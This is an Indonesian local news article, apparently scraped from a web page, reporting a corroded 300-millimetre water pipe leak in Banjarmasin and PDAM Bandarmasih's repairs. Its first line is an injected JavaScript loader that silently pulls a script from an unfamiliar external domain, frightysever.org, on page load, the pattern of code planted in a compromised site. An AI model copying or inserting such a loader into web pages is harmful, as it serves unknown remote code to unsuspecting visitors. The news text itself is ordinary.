(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Pipa Diameter 300 Milimeter Bocor, PDAM Bandarmasih Sebut Ada Korosi

BANJARMASIN, Pasca jebolnya pipa diameter 300 milimeter di Jalan Gatot Subroto atau dekat Flyover Banjarmasin, tim teknis PDAM Bandarmasih langsung turun tangan memperbaiki kerusakan pipa, Minggu (13/10).

Dirut PDAM Bandarmasih Yudha Achmady melalui Direkrut Operasional Supian menyebut, ada korosi di bagian ben pastil pipa, yang mengakibatkan terjadinya kebocoran.

“Terjadi keropos. Karena ini namanya jembatan pipa dan ada jembatan di sampingnya, jadi ada getaran,” kata Supian saat ditemui di lokasi kebocoran pipa.

Apakah kebocoran pipa diakibatkan tekanan air tinggi? Supian menepisnya dan menyebut tekanan air di jembatan pipa ini masih jauh di bawah standar PDAM Bandarmasih. “Standar kita 3 atm (atmosfer), tapi di sini sekitar 1,5 atm,” jelasnya.

Guna mengatasinya, tim teknis PDAM Bandarmasih segera melakukan perbaikan dan penggantian komponen yang rusak. Kendati demikian, kebocoran pipa ini tidak berdampak luas terhadap distribusi air bersih di seluruh wilayah Kota Banjarmasin.

“Yang terdampak di sekitar Gatot Subroto ini saja. Hanya 1 DMA (distric meter area) saja tapi tidak berdampak mati. Karena aliran air di Gatot Subroto ini disuplai dari dua arah, dari A Yani dan Pramuka sana,” tegasnya.

Bagaimana dengan usia pipa sendiri? “Kurang lebih 13-15 tahun,” sebutnya. Sehingga treatment yang dilakukan PDAM Bandarmasih sebatas pergantian komponen. “(Bocornya) bukan di pipanya, tapi di las-lasnya. Karena las bukan (buatan) pabrikan, di situ yang terkena korosi,” jelasnya.

Perbaikan sendiri, menurut Supian, dapat diselesaikan hingga tengah malam. “Sebenarnya kalau material tidak ada, kita tutup (saluran air) di sini, tapi ini masih mengalir airnya,” pungkasnya. (fikri)

Reporter : Fikri
Editor : Chell